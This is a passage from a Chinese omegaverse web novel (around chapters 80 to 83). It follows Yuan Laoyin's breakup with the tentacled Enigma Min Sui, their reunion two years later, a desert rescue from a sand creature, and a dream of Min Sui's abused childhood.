他延续生命,解除完全标记, 背着挎包就像是多年前来首都般轻松。 六年时间,又像是什么都没有改变, 他甚至没有和朋友好好道别, 便像个逃兵垂着脑袋离开。 “我要走, 回邛光。”陌生人往往是倾泻的绝佳对象, 两条线只会存在这一个交点, 他可以毫无顾忌地分享秘密, “他对我好, 但是他骗我,不尊重我, 还比我大很多。” “你这话说得矛盾,骗你不尊重你怎么能叫对你好?”师傅被他的逻辑逗乐, “既然他那么好,你们怎么会分手。” 原烙音一僵,他说不清楚原因,说恨太飘渺,说爱太可笑,太多东西交织在一起,情绪上头他居然找不出一条留下的理由。 “你看你长得一表人才,是Alpha吧。” “嗯。”四种性别唯有腺体长在后颈的Omega能够一眼辨认。 “大好时光还在后面,邛光是个好地方,你过得好就不会再想他了。”师傅趁红绿灯撕了一颗糖含在嘴里,又把袋子朝后递,“要不要来一颗,我平常时不时就含一颗解解闷。” 青柠味硬糖。 外包装印着黑体大字,还画着切开的绿色柠檬。 原烙音觉得鼻腔有些酸涩,拿了一颗撕开塞进嘴里。 他还是觉得太甜。 “嘴里吃点甜的就开心了,如果他真有你说的那么好,就要看他骗你的是不是不可原谅。”师傅单手控着方向盘,选了条不太可能堵的路,前往不知道在何方的目的地,“要是你能原谅,给次机会也不是不行。” “但是我从小就教育我女儿,不喜欢的东西就要丢掉,放久了除了变成一堆垃圾也没有其他作用。”师傅年纪跟原仲盛差不多大,看着原烙音颇有感触,“感情也是一样的,分开后就不要再见,日后回忆起还是他好的一面。” 原烙音终于从沉默中清醒,他坐直身子。 “我要回家工作,邛光离首都太远了。”他也清楚这不过是借口,当初觉得闵随千好万好时邛光与闵随的距离也没有缩短过那么一毫米,“他给我治病,我本来是要死的,他豁出命把我救活了,但是他又骗我骗得好过分,我们分手也分得很艰难。” 师傅也一时间陷入沉默,需要对方豁出命无非捐肾捐骨髓,牵连到救命之恩一切都会变得复杂。 何止骗得过分,闵随打一开始就准备把他当傻子一辈子蒙在鼓里。 后面那些事更是罄竹难书。 但他就是那么不争气,甚至坚持不到回邛光就开始后悔。 “救了你命,有太多事情可以报答,没必要搭上自己一辈子。”师傅甚至想抽根烟缓缓,他还没想到要把Alpha给放到哪里,“他是Omega吧。” “Alpha。” 师傅瞪大眼睛。 原烙音又觉得没什么好隐瞒的,毕竟只是不知名姓的路人。 “他骗我是Alpha,但他是Enigma。” “那你确实该分手,性别都能隐瞒,什么是不能隐瞒的。”师傅只用了眨眼功夫就接受了AO到AA再到EA的跨越,“你们这些小孩真的,家长知道了不知道该有多担心。” “你父母知道吗?” “他们还不知道我分手。” 原烙音低着头,手机贴得好好的膜被他撕出一个角又重新黏合,最后气泡怎么也挤不出。 一开始温宴玉和原仲盛万分不同意他和闵随的恋情,甚至给他列出密密麻麻关于闵随这类人的缺点以作警示,毕竟双A的路太难走,他们甚至很难有个好结局。 可他说闵随治好了他的腺体,非要和Enigma在一起。 事实证明,父母是对的,闵随就算是人类,也永远不会用平等的目光看他。 “你们的路始终是要自己走,只是千万别犯傻。”师傅将车靠边,指向几十米远处露天酒摊,“我平常闲下来就会在那喝两杯,你没有目的地,我也只能把你带着来了。” 原烙音点点头,扫二维码。 师傅看到他的动作,手盖在图片上,赶他离开。 “不收你钱,别伤心了。” “我要回家陪陪我女儿,你也早点回去吧。” 原烙音也没再坚持,他捏住挎包的肩带。 “谢谢师傅,祝你也家庭幸福。” 师傅笑着点点头,原烙音却从副驾驶没有拉上的车窗看到他离开时表情落寞。 露天酒摊有很多人,男女老少,原烙音随便找了个位置坐下。 “是老黄送你来的啊?”有人自来熟坐在他对面,见他有些防备耸耸肩,“我是老板,老黄是刚刚的司机,我认识他车牌。” “他没收你钱对吧。”老板递给他一杯酒,也不管他乐不乐意听,就接着往下讲,“他命苦,是个Beta,老婆难产,自己一个人带女儿。” “没想到那么小的概率他女儿也中了,分化成了Omega,只可惜遇人不淑,没几年就这样走了。” 原烙音捏住玻璃杯的手指边缘微微发白,那个宽慰他的师傅,居然只剩下自己一个人。 “他不知道去哪里打听到人会转世,还去庙里请愿。”老板叹了口气,“你们年轻人应该不太信这些,那庙在全国都是数得上号的灵验,就在棕旅,叫妙云寺。” 妙云寺吗? “我知道。”太多回忆冲撞,逐渐掩盖闵随撕碎伪装后的模样,原烙音站起身扫付款码,“八百块,买今天的酒,剩下就请老黄。” “你去哪里?”老板看向他的背影。 “去棕旅,还愿。” * 原烙音举着香叩拜,插进已经有些萎蔫的苹果。 他双手合十,虔诚发愿,再也不会偷看什么。 不求财路亨通,不求荣华富贵,只要全家平安喜乐……还有闵随。 这次他没有再买新的红绸,那棵千年古树似乎伫立在记忆深处,时隔一年风霜,却没有沧桑半分,满树红绸或新或旧,随风摇曳。 他看到独树一帜的两根,虽然只能透过树叶的缝隙看见些许红色,但也能辨认出是自己的杰作。 得偿所愿,他还记得自己帮闵随写的心愿。 他望向那条红绸。 会吗? 会这样吗? 闵随会得偿所愿吗? 记忆闪回,他记得自己蹭在闵随脸上的灰,记得明明该虔诚许愿时却偷偷去看闵随,记得他从树梢往下跳扑倒闵随最后在Enigma脸侧落下的吻。 是不是不够虔诚,所以受到惩罚,最终还是潦草分开。 他没有哪一刻意识到自己那么不舍,也没有哪一刻意识到自己必须要回到邛光。 闵随最终只会是他年少的一场梦,等他忙起来,就不会再想虚无缥缈的爱情了。 微风拂动树梢摇晃满树的红绸,整个后院只有原烙音一人,这一刻什么爱恨情仇都离他远去,漫天神佛与他同在。 他最后还是闭上眼睛虔诚祈祷。 日后他与闵随天各一方,都万事顺遂,诸事皆宜。 飞机在云中划过一条线,原烙音接通电话。 “喂,爸爸,我今晚到家。” 温宴玉问他要待多久,什么时候再去首都。 “不会再回去了,我会一直留在邛光。” “闵随?” 他笑得苦涩。 “我分手了,爸爸。” 80-83 第81章 第 81 章(二更) 万城, 玉阳楼。 上万盏灯同时作用,十米高的宴会厅亮如白昼,圆心处是一尊拉着小提琴的独眼艺术家雕塑,就算是无数钱财砸下, 仍旧不能消磨岁月留下的痕迹。 时间总是匆匆, 当意识到其流失之时, 年华早已逝去。 距离原烙音离开首都, 已经是两年。 他再也没有见过闵随, 甚至也会回避关于那人一切消息, 强行逼自己相信首都的种种只是一场梦。 “小原总?” 原烙音回神, 才想起自己是在一场重要宴会。 “抱歉,您说。” 从零学起谈何容易, 他进入公司两年后还是没有达到名正言顺进入领导层的要求,最多只是项目的负责人。 Alpha西装上别着一枚胸针,通体漆黑如墨, 不知是什么材质,竟然还闪烁着幽幽的荧蓝, 那些交缠在一起的, 像触手, 又像是海草, 吸引着人去触摸。 “听说您要在万城待几天, 不如让我做东道主。”又是来套近乎的。 他现在在集团里面的职位不够看, 但毕竟背景雄厚, 能力也算看得过眼,往下爬指日可待, 这样的事他这两年遇见的数不胜数。 “不……”原烙音正准备婉拒,毕竟他时间很忙, 这段时间被项目纰漏弄得焦头烂额,并没有打算多待。 可心脏却一反常态剧烈跳动,几乎要蹦出胸腔。 原烙音瞬间意识到什么,他刚要说出口的拒绝拐个弯,竟是答应下来。 “不必多麻烦,您随意就好。” “那就不打扰您了。”对方显然也是没想到一面之缘,原烙音竟然那么好说话,“祝您在万城玩得开心。” 那人就这么走了,留原烙音一人在原地,他不敢回头,有些慌不择路地找了一位Omega准备谈谈合作事宜,不论认不认识,自报家门后总是能说上话。 “小原总,没想到他们能请到您!” 原烙音看见那Omega的脸后表情微变,他压下突如其来的反胃感。 怎么是他!他怎么混进来的? 没想到他今天出门大概是没看黄历,倒霉的事都被他遇上了。 和绯闻对象碰面,与前任重逢,都不是什么好事,一时间他也分不清哪个更糟糕。 原烙音正准备走,没想到又被人拦住,偏偏还是个有几面之缘的熟面孔。 而无数觥筹交错间,意外到来的闵随瞬间成为宴会交谈,谁也没想到IMS的董事长会莅临此处。 闵随是因为欠人情才答应出席,没想到竟然会看到原烙音。 太多人,可偏偏他一眼就看到了原烙音,认出了Alpha的背影。 瘦了。 他知道原烙音获得认可这两年有多拼命,无数个夜晚他都默默撕裂空间跨越到于他而言完全陌生的邛光,不奢求看到Alpha,只要与他站在同一片天空下,仿佛就能缓解将他吞噬拆分的思念。 “闵总。” “不好意思,你说什么?” 闵随不认识眼前人,对于这种目的性极强的攀谈,他一开始就准备好了回绝。 此时此刻,他的目光只属于那个站在前方处处透露着不自然的Alpha。 他在对谁笑? “IMS并非我的一言堂,任何项目都要通过集团专家,我无权越过董事会做主。” 谁在请他喝酒? 闵随感受到翻涌而来的嫉妒,觉得自己太过可笑。 原以为这两年自己多多少少会有些长进。 “抱歉,失陪。” 他随手抽出一只酒杯,大步走向原烙音。 “小原总。” 原烙音浑身一僵,他将挂在脖子上的触手尖塞进外套,能看出动作有些仓促,末了才转过头。 “闵总。” “抱歉,我有话要和小原总说。”闵随随便扫过旁人两眼,在那个Omega身上缓缓停顿。 这就是盛传的原氏集团长公子的命定之番,闵随一碰到诸如此类的消息就气得肝疼,根本不会去折磨自己多看两眼。 那个Omega感觉到闵随眼中的寒意,有些瑟缩地朝后躲。 “有时间出去转转吗?”闵随问道,“听傅云泠说,你好像遇到了麻烦。” 原烙音想起这段时间缠在他脖颈几乎让他窒息的麻烦,终于放弃那点见到前男友的尴尬,与闵随一前一后离开宴会厅。 外面早已是漆黑一片,寂静无人。 他没想到自己会在这样的情形下与闵随重逢。 “好久没见,你瘦了好多。”闵随站在他面前,没有任何动作,即使他再想伸手将伴侣拥入怀中,“是不是很辛苦。” 有人关心,苦苦压抑的委屈找到脆弱的出口,终于决堤。 总部和分部相差太远,父亲为了锻炼他从来不会干涉,也有太多人想要把他赶出公司,这两年明枪暗箭跌跌撞撞,好不容易凭能力爬到了这个位置,才半个月就出现失踪事件,接二连三数不胜数,几乎要将他压垮。 “我一点也没有想你。”他也不知道为什么会这样说。 想闵随好像成为他排解痛苦的唯一方式,他也明白自己矫情可笑,明明是自己面对闵随的哀求仍要离开。 忘记一个人的开始不是忘记声音,不是忘记相貌,而是缺点。 这两年被胁迫被囚禁的记忆就像是封存在深处,他只会想起那些无忧无虑的时光。 可是时间一去匆匆不复返,一切只是回不去的回忆。 “我知道,我的错,你不想我是对的。”闵随听出Alpha不加掩饰的口是心非,这对他来说简直是意外之喜。 “我好累,我真的好累。”那两支香槟不足以令他醉,但偏偏看到闵随那一刻,所有伪装与强忍都化为灰烬。 不敢让家人担心,不敢让朋友知道,唯一能够感同身受的只有闵随。 “委屈你了。”闵随全都知道,但他与原仲盛做出了同样的选择,只有跌倒后原烙音才能汲取教训,任何帮助长远看来都并非好事,“你做得很好。” 原烙音的眼泪终于流出,无数次项目在阻拦下完美结束,他在别人的口中永远是比不上他的父亲和二叔。 原仲盛和原仲和在原氏风雨飘摇之际顶着巨大压力让集团起死回生,他原烙音一切努力都是来源于父辈的援助,是可以被忽视的,是可以被挑刺的。 除了家人,只有闵随,只有闵随真心认可。 “你知道我有命定之番了吗?”原烙音用手擦去眼泪,没注意触手尖从胸口滑出,在闵随眼前摇晃。 那一截早就没有效用,充其量不过是有些怪诞美感永不腐烂的装饰品,原烙音参加宴会即使不伦不类也要带上它,这本身就能说明很多无法解释的问题。 “你知不知道。”原烙音见闵随没回应,又重复了一遍,语气有点凶。 闵随当然知道,他当时看到新闻时恨不得让那个Omega彻底消失。 但他也明白自己不能这样做,说好了尊重,就不能剥夺命定伴侣寻找新欢的权利。 “至少你很幸福。”契合度超过百分之九十八才能称为命定之番 幸福?! 原烙音咬牙切齿恨不得扑上去咬死闵随,从前一用命定之番刺激,Enigma就恨不得把他锁死在床上,现在Omega真的出现,这人就跟个哑炮似的。 “你说的幸福是指我被骗到酒店和发情的命定之番关在一起,我打晕他靠咬破自己的手腕保持清醒,救出去后还要被绯闻恶心!”原烙音本以为在原氏出手弄垮那Omega家的公司后,对方会消失在他的世界,但没想到就这样的宴会,那人还能混进来,“我现在见到他,闻到他的信息素就会生理反胃,这就是你以为的幸福?” “我……我不知道。”闵随口腔有些干涩,他终于有与原烙音分开两年的实感。 即使他一有空闲就会来到邛光,但仍旧错过了太多,连原烙音 “你当然不知道。”原烙音露出手腕不规则的疤痕,“我被动引发易感期,烧得都快要糊涂了,却一直在想你为什么不来。” 没有抑制剂,还要抵抗本能不去标记那个居心叵测的命定之番,被原衡铎救出来后他整整住了四天院。 他不愿意做修复手术,就是要提醒自己与闵随早就分手,路只能自己走, “而且好多人都想把我赶出去。”高层都知道他的背景,牵扯太多人的利益,自然会不遗余力将他逐出局,“西北的科研项目,我们也派了人去,现在音讯全无。” “这是视频。”他可怜巴巴递出手机,“我找了INSO,他们派人去一无所获,傅云泠不入沙漠,我真的不知道该怎么办。” 再失踪下去,整个科考队可能会全军覆没。 视频像是手机拍摄,第一视角,蓝天白云毫无征兆,不过瞬息画面中所有人就被黄沙淹没。 九秒钟,只有九秒钟。 “我会救出这些人,但事故原因要你自己调查。” 原烙音知道闵随一定会答应,但他不想再欠闵随,他允许自己思念,允许自己后悔,但他并不认为自己有朝一日能够与闵随复合。 太多事塞满他的生活,由于命定之番的事情他尤其厌恶AO关系,爱情对他来说太不切实际。 这也是他没有第一时间找闵随的原因。 “谢谢。” “我之前口不择言说过很多话,包括我说后悔完全标记。” “我不后悔,闵随。” 压在身上好几天的重担终于卸下,原烙音安静了许多,那些在心头盘踞已久的话语,还是说给了心心念念的对方。 “其实我很想你。” 第82章 第 82 章 无人区, 天蓝得透彻。 时间紧迫,闵随抛开医疗搜救队,直接撕裂空间,带着原烙音来到空无一人的临时大本营。 “你在这里呆着, 无论发生什么都不要离开。”闵随安顿好Alpha后准备先去把人给带出来, “别担心, 我没有骗你。” 闵随来之前告诉他, 这是沙型异种玛库尔出没的杰作, 而那些东西并不嗜杀。 两年前闵随出手只是灭除了活跃在人类视线的那几只, 并没有除去整个种族。 “你会不会有危险。”原烙音有些说不出的闷感, 自从他来到这片沙漠,总是有气场不合的错觉。 “那些东西不足为惧。”能威胁塔卢索的生物屈指可数, 玛库尔绝对排不上号。 他揉揉Alpha长长后还没来得及修剪的发丝,踪迹消失在一望无际的沙漠。 原烙音抱着水壶坐在遮阳棚下,沙粒温度太高, 他抓了把握在掌心。 其实他没必要跟着闵随来着,毕竟作为人类, 他不是拖闵随后腿就是变成玛库尔新的猎物。 但他才是项目核心负责人, 是他把人派出去的, 有责任把他们带回来。 太久没有亲眼见到闵随了, 仅仅是昨晚宴会的偶遇就让他的心跳加速到难以忽视的地步。 只有闵随看到他的脆弱, 他也只会寻求Enigma的安抚。 时间抹去了太多冲动留下误以为无法去除的伤痕, 没什么好否认的。 “小原总……” 第一个人凭空出现, 中年Beta,面容憔悴, 左腿诡异地扭曲着。 是他指定的项目带队经理。 原烙音想帮忙,但无从下手, 他并没有接触过这类知识,医疗队伍也还在路上。 Beta喘着气像是命不久矣,太久没喝水只敢小口滋润快冒烟的咽喉,他顾不上恐怕会留下后遗症的左腿,“救救,救救他们,还有人,二十八个,全都活着。” “会的,他们都会得救的。”失踪时间足足六十小时,若是真如视频拍摄那般,被黄沙淹没用不了几分钟就会全军覆没,可科考队全部活着,原烙音越来越觉得可疑。 这里根本没有信号,视频是怎么发出来的? “你先休息,暂时安全了。”他一时间也没急着追问,反正他们都会活着回来,调查不是难事。 “不。”Beta死死抓着他的手,力道大得根本不像一个刚刚脱离危险的人,“有叛徒,有叛徒,小原总,科考队里有叛徒!” “你说什么!”原烙音瞪大眼睛,再也顾不上什么好好休息,“把话说清楚。” 闵随让他自己调查事故原因,是对这样的情况早有预料吗? “沙之圣神降临之时,奉献灵魂与躯壳,成为永生不能背叛的奴仆,就能实现愿望。”Beta毫无征兆地开始吟唱,他眼白全部转化为黑色,扑到原烙音的面前,“不屈者死,不屈者死!” 这样的诡异与疯狂,原烙音瞬间想起桑尼顿的鹄卡兹。 没有半分犹豫,他抓起胸前悬挂着摇晃的触手尖急切地喊。 “闵随!闵随!” 这是陷阱,科考队失踪的二十八人恐怕早在失踪时便转化为所谓沙之圣神的奴仆,如同鹄卡兹的信徒般只剩下空空如也的皮囊。 Beta皮肤裂开无数细口,他的七窍与伤口流出源源不断的沙子,从头顶开始就像是失去填充物的皮干瘪下去。 而那些细沙无风自起,逐渐扩大身形,漫天黄沙像是被无形的龙卷风卷起,要将原烙音吞噬。 “你是塔卢索的伴侣,我恨祂,我恨祂!” 声音尖细如同稚童,却响得几乎要将原烙音的鼓膜震破。 “是祂杀了我的族人,是祂!” 玛库尔走投无路甚至,他要与塔卢索的命定伴侣玉石俱焚,只要这个人类湮没于黄沙之中,塔卢索也会立刻殉情。 沙粒裹着Alpha的四肢逐渐向上缠绕,摩擦的痛感细碎而尖锐。 千钧一发之际触手伸出,强行扒开那些沙子裹成一只球,撕裂空间将困住不知死活的玛库尔扔到无数里外的海洋。 那是玛库尔的地狱,它们会被无情的海水吞噬,沉入漆黑海底,永世不得超生。 可原烙音的状态算不了太好,那些不起眼的沙粒在他身上留下无数血痕,不过瞬息Alpha就成为一个血人。 “他们都死了,他们都死了对吗?”原烙音又有遇见C-12那晚喘不过气的溺水感,“为什么,为什么。” 他知道自己在钻牛角尖,可那些人的死又实实在在与他有关。 那个Beta,求生欲望如此强烈,却还是成为异种的玩物,在得救后依旧死去。 “他们没死,我保证。”闵随抱住他摇摇欲坠的身体,他无法容忍自己的疏忽,害得伴侣落入这样的陷境,“别怕,你会没事的。” 塔卢索在实力上一骑绝尘,但并不是全知全能的神明,他并不能预测有玛库尔进化出如同鹄卡兹般发展信徒的能力,更猜不到被他轻易碾死的一团沙子竟然从一开始就忍受千刀万剐的痛苦将自己分为两半。 有人想让原烙音死,玛库尔想让他殉情,于是狼狈为奸一拍即合设计这场局。 就算这次原烙音不来,日后也会有其他事出现。 太多血,属于伴侣的血,闵随痛恨自己灵敏的嗅觉,他甚至能闻到几乎把二人包裹的青柠味。 塔卢索的治愈能力还是不够强,他只能控制双手不要颤抖,一一拂过那些混着沙与血的细小伤口。 “嗯。”失血过多,原烙音气息奄奄,浑身难以忽视的疼痛却逼迫他保持清醒,“我一直呆在这。” 他并没有那么傻,离开安全区去拖闵随的后腿。 “我叫你了,我真的叫你了。” 原烙音重复着,他这一次没有遇见异种后独自去扛。 “我知道。” Enigma看透他苦苦压抑的痛意,低头吻住那张血色尽失的唇,挑开唇缝挤入些许分泌液,想要故技重施转换伴侣的痛感。 “我知道。” 分泌液直接划进咽喉,Alpha眨眨眼。 有些甜。 痛感丝丝缕缕拔除,最后消失不见,可闵随再能忍,终是被Alpha发现端倪。 没有后遗症的腺体,还有在手术台意识全失却能闻到属于Enigma的乌木信息素。 他抬起伤口愈合却仍有残血黏着的右手,抚住闵随的右脸,说话就像是在透支即将逝去的生命。 “手术时……疼吗?” 腺体那样敏感的器官,就连用指腹摩擦也会产生难以忍受的痛感。 划开,注入,缝合。 他不敢想整整六个小时,闵随呆在手术室外的长廊,是怎样承受从他身上转嫁来的痛苦。 “不疼,当时只顾着担心你手术能不能成功。” 原烙音眼底划过一丝酸意,闵随只会亲手撕开从前的谎言伤害双方,那些爱意却如同高山静默无声,倒映在清澈的山泉,闪烁着柔和的光辉。 眼前记忆就像是走马灯,不承认命定伴侣的闵随,冰山融化的闵随,明确示爱的闵随,太多太多他忽视的细节,太多太多他没看见的爱。 即使是恶语相向,他看到了自己与闵随眼底的痛苦,那些脱口而出仿佛早已入骨的恨,其实只是因为爱得太辛苦。 闵随怎么这么笨? 如果还有时间…… 他没有时间了。 流了太多血,若是不出意外,他恐怕会长眠于这片神圣而荒凉的沙漠。 “闵先生……”Alpha的气息微弱至极。 两年,七百三十天,他无数次在深夜莫名心跳加速,这是对闵随到邛光的感应。 他说不清楚为何解除完全标记还会有这样的联结,但共处于同一片天空,是他们心照不宣的秘密。 离开首都时,出租车司机说若是过得好,便不会再想闵随。 他并不知道是对是错,但在这一刻,他即将消散在天地间的这一刻,他无法忽视自己的心为闵随跳动。 或许是他们的连接,就算闵随切断触手也无法更改的命定关系。 他恨闵随的隐瞒与玩弄,所以一把钝刀,割得双方鲜血淋漓,但是闵随也是命运手中的棋子,他也不能选择谁是自己的伴侣。 但不可否认,他也在担心闵随有朝一日会带着新欢来邛光。 不过他也知道这一切不会再发生,若是不够爱,上百次在首都与邛光之间穿梭,这也太傻了。 “告诉他们,我爱他们。”就算是他,也少不了要传达遗言。 “我一直爱你。” 他缓缓闭上眼睛。 太累了,真的太累了。 原来临死之前并不是堕入黑暗,原烙音发现自己还有思考的能力,甚至能听见闵随的声音。 “原烙音!别睡,别睡!” “我求你,留在我身边……” Enigma的声音渐渐消失。 泛苦的涩意在心底蔓延,原烙音朝前看去,只见漆黑一团看不清是什么的东西,发出晦涩难懂的音符,它的触手断了很多根,只留下缓慢愈合的横截面。 即使他从未见过,也能一眼认出。 是年幼的闵随。 第83章 第 83 章 大多数塔卢索的原型是或乳白或透明的光团, 里面似乎有强效的光源。 而闵随,是漆黑的。 他挨了很多打,早就是家常便饭,每次只能缩在角落直到这些攻击离开, 再孤独地等待伤口愈合。 原烙音是一团透明的光影, 他无法触摸到闵随, 不能说话, 只能呆在闵随身边。 这是第四天。 闵随的身体要比他的同族更小, 触手也更短, 日复一日不知道持续多少年的霸凌早就让小塔卢索孤僻而又麻木。 因为黑色, 他被判为不祥;由于不相信命定关系,他被视为族群的叛徒, 塔卢索恃强凌弱,他触手不够强,光团不够大, 自然就是最弱者。 直到最近,他在等待伤口愈合时, 听见了呼吸声。 塔卢索不需要呼吸, 那是低等异种才有的能力, 而塔卢索的族地绝不可能混进其他异种。 他默默祈祷, 若是真有东西混进来, 最好能闹得这片土地鸡犬不宁。 原烙音就坐在他身旁, 他们却始终无法触摸到对方, 望向闵随的伤口,Alpha心疼又无奈。 他看到太多次闵随因为大大小小的谎话被骗出去折磨。 “你还在吗?”塔卢索发出的是晦涩难懂的音符, 但原烙音却能够听懂。 他瞪大眼睛,没想到闵随会发现自己。 “我能听见你的呼吸, 我懂得世上所有的语言。”闵随像是找到了倾诉的对象,“你能跟我说说话吗?” 小心翼翼,声音稚嫩,现在的闵随正在成长期,不过是个小孩。 “你在紧张。”闵随静静等待着,他察觉到越发急促的呼吸,也逐渐明白原因,“你不会说话吗?” 原烙音快急疯了,他怎么就说不了话? “那你可以陪陪我吗?” 脆弱而无助,还有希冀与恳求,原烙音第一次看到这样的闵随。 直到亲眼所见,他才真的相信,未来塔卢索的族长,现在只是个谁都可以发泄的沙包。 原烙音不知道该如何表达他会,只能留在闵随的身边,让对方听到他的呼吸。 “我没有名字。” 第一句话就让原烙音心闷得发疼。 “我知道祂们都在骗我,但是如果我不上当,下次会被打得更惨。” “我也没有朋友。” 原烙音静静听着,他想起闵随那个唯一的朋友西亚莉,现在好像还没有出现,但最后却是兵戎相见,反目成仇。 “我生来就是黑色,触手也很短,还没有任何能力,是族群里的不祥之物。”闵随看向自己纠缠在一起的触手,发出些许笑声,“但是我的自愈能力很强,祂们打不死我。” 原烙音咬住唇,他抱住闵随,却无论如何只能搂住一团虚无。 闵随的世界是由暴力与谎言构筑的,他深受其害,但也无可避免地潜移默化,将其视为家常便饭。 “你在抱我吗?” 原烙音有些意外。 闵随怎么知道? “我猜的。” “我想让你一直陪着我。”哪怕只能听见呼吸,至少能让他知道这里不是只有他一个塔卢索。 他不是人人唾弃的丧门星。 于是原烙音留在他身边,时刻让他听见呼吸声。 他无法阻止加诸在闵随身上的恶意,也无法让闵随听到半分安慰,只能像一个旁观者陪闵随度过这段痛苦的时光。 闵随每天都在挨打,自愈能力既是恩赐也是诅咒。 他每天都在尝试说话,也在尝试触摸属于梦境中的一切,但都是徒劳无功。 终于有一日,闵随觉醒了空间能力,撕裂空间带着他离开重重包围,到了一片无人之地。 “你看到了吗?” 原烙音听出闵随言语中的惊喜,他体内的蓝色光团不停爆炸,触手也在群魔乱舞。 他好想,好想抱抱闵随。 无数次尝试宣告失败,他并没有气馁。 而这次,他摸到了。 与此同时属于他的光影渐渐凝实,出现在闵随面前。 太美丽,太易碎。 “是你一直陪着我吗?”漆黑雾气中有形如雷暴的蓝色光亮,祂不敢靠近原烙音,生怕呼吸就将这个脆弱生物震成碎片,“你是……什么物种?” “人类,我是人类。”原烙音伸手,那黑雾就如同山间的雾气,有潮湿冰冷的触感,那些看起来能够毁天灭地的雷暴,却只在他指尖留下酥麻的感觉。 “人类?我从来没有听说过这样的异种。” “我们不是异种。”原烙音摇头,宇宙流淌不息的长河中,人类由猿猴进化而来,拥有高于一切生物的智慧,也有异种难以估量的脆弱,“或许在不久的将来,你会看见我们。” “那我也要变成人类。”话音刚落,犹如小山一般的黑雾散去,取而代之的是闵随。 原烙音熟悉又陌生的闵随。 Enigma的状态年轻不少,看起来不过十六七岁,藏不了围绕自己的漆黑触手,只能可怜兮兮地抱住其中一根望向原烙音。 “你讨厌我的触手吗?” 与同族截然不同的,充满诅咒的,这个唯一给予他温暖的人类,会接受他的不祥与罪恶吗? “这是我见过最漂亮的触手。”原烙音主动抚摸,拇指摁在凸起的吸盘。 漆黑的,泛着蓝色的荧光,曾无数次缠绕在他的肌肤。 “真的吗?”闵随笑得有些腼腆,他的耳尖以不可思议的速度变得血红。 该不该告诉他,塔卢索的触手在非攻击状态下很敏感,只能给命定伴侣摸。 “真的。”原烙音点头,他好像明白为何闵随在与他真正相遇之前就成为了人类,“你变成人类了,那你的命定伴侣怎么办?” 闻言,闵随神情有些微妙。 “我不相信基因对命定伴侣的抉择,如果遇见,我会远离他,抵御本能。” 他见过太多同族在遇见命定伴侣后就沦为野兽,为了将命定伴侣囚禁在爱巢无所不用其极,最后下场凄惨。 偏偏所有塔卢索都对其趋之若鹜。 “塔卢索是诅咒,是不祥,我给不了他纯洁无暇的爱,只会给予他枷锁与痛苦。” 所以一开始闵随非要远离他,拒绝他,就是这样的原因吗? 原烙音想开口,想说“我就是你的命定伴侣。” 可无形的力量阻止他主动去告知未定的命运,他开不了口。 闵随见原烙音没有说话,他莫名有些急躁。 “我们会再见吗?”触手随同宿主心意缠绕Alpha的手腕,他又忽然觉得自己的语气有些强硬,怕引起原烙音的厌恶,又软下声调,“会吗?” “会的。” “在未来,我们会再见,你要等我。”原烙音望着年轻的爱人,他掌心贴着微凉的触手,提醒现在还单纯的塔卢索,“你要坦诚,不要谎言。” “可我的生命充满了谎言,没有任何生物真心待我。”无数次欺骗与折辱,他无法浴火重生,只能独自舔舐自己的伤痕。 谎言组成了他的生活,虽然是苦难,但也无法抹去,从来没有生物说过那是错的。 原烙音望着懵懂的少年,就像闵随从前那般轻轻抚摸他的头顶。 “我真心待你。” 那些话就如同唯一对他和煦的微风,闵随睁大眼睛。 落在他身上的只有嘲讽与攻击,原来接触也能这般轻柔。 “或许你还是会欺骗,还是会做出与那些同族一样强迫命定伴侣的事。” “但你要认错,你要改。” “你要知道,有人会永远爱你。” 爱一个人就要爱他的缺点与不堪,他见到闵随难以启齿的伤疤,却只有心疼与难过。 闵随的眼睛还是那么漂亮,不管多少年都是分明的黑与白。 “我会永远爱你。” 这样的意味太过明确,闵随眼中闪烁着光亮,他难以压抑紧张的情绪,那颗存在但没有用的心脏却剧烈跳动。 “你……你是我的命定伴侣吗?”他在试探,又有些懊恼。 早该想到的,除了命定伴侣谁又能躲过塔卢索的感知,陪伴他这个不祥之物。 “我是不是对你做了什么不好的事。” 他说要认错,要改。 他说会欺骗。 “对不起。”那就先道歉。 原烙音并没有说话,他不知道该怎么回答。 “我们提前见面,受法则影响我会忘记你,可能在未来的某一天我会想起,也可能永远不会想起。” 所以这并不是梦境,这是从前。 闵随孤独又备受欺凌的幼年期。 原烙音的心揪了起来,他触及闵随眼底的不舍与痛苦,千言万语却不知该如何诉说。 “而你离开后我也会回归本体,忘记自己早已选择成为人类。”闵随的声音如鸣珮环,但抹不去他的哀伤。 “你会幸福的。”原烙音主动将比他还矮些许的少年抱入怀中,“闵先生,我在未来等你。” 闵随表情微愣,但很快就被坚定替代。 他的命定伴侣不该留在塔卢索的族地,这是污浊的废土,是罪恶国度。 “我会努力度过那段时光,我会找到你。”闵随静静望向他的命定伴侣,“现在,我要把你送回去。” “我等你太久了。” 一年,两年,无数年,塔卢索的生命近乎永恒,不管自己会不会忘记,终有一日会再次遇见他的命定伴侣。 当原烙音的指尖也消失于天际后,闵随喃喃自语,他感觉到这段记忆正缓缓抽离。 “音音……” 这句迟到的呼唤,他的爱人能否听见? “睡着了还这么能哭。”有人微凉的指尖从他的眼角划过,擦去那滴泪。 原烙音猛地睁开眼睛,两年不见他也能够一眼认出这是首都别墅。 “闵随,我梦见你了。”他嘴唇微动,想起他亲眼所见的伤疤,只觉得心尖都泛着苦涩。 “我知道。”闵随抬起他的手轻轻一吻,“有人说会永远爱我。” 原烙音眼眶酸涩,他呼吸越来越重,许许多多记忆糅杂,他又想起那段不愿意回首的时光。 就像是刺猬,在受到伤害后会将背留给伤害它的人,无数次竖起尖刺,永远不可能袒露柔软的腹部。 为什么不能舍弃这段感情,他心知肚明。 不喜欢的东西就要丢掉,喜欢的东西就要珍藏,那些为了追求所爱受的痛苦就成了勋章。 因不想那么轻易的原谅而一次又一次刺痛闵随,他试图从男人受伤的表情中攫取报复的快感,这个过程却又有无法舍弃的痛苦。 谎言将两颗紧紧依靠的心残忍分开,又化为利剑将它们戳得千疮百孔,受伤刺痛的那一方躲进阴暗的房间,拒绝示好,拒绝道歉,拒绝爱。 但他又在下意识规避真正两败俱伤的方式,就像在为这段岌岌可危的关系留余地。 他知道。 如果不够爱,闵随不会无数次往返首都与邛光,甚至若非巧合,他们再过许多年都不会再见。 旧的伤疤早已愈合,爱一个人就要接受他的所有阴暗面。 他的恶劣与冷漠将闵随刺得鲜血淋漓,明明是最重要的人他却不肯施舍哪怕多一分的怜悯。 他们之间的连线逐渐到只有发丝粗细,稍不注意就会彻底断裂。 原烙音反问自己。 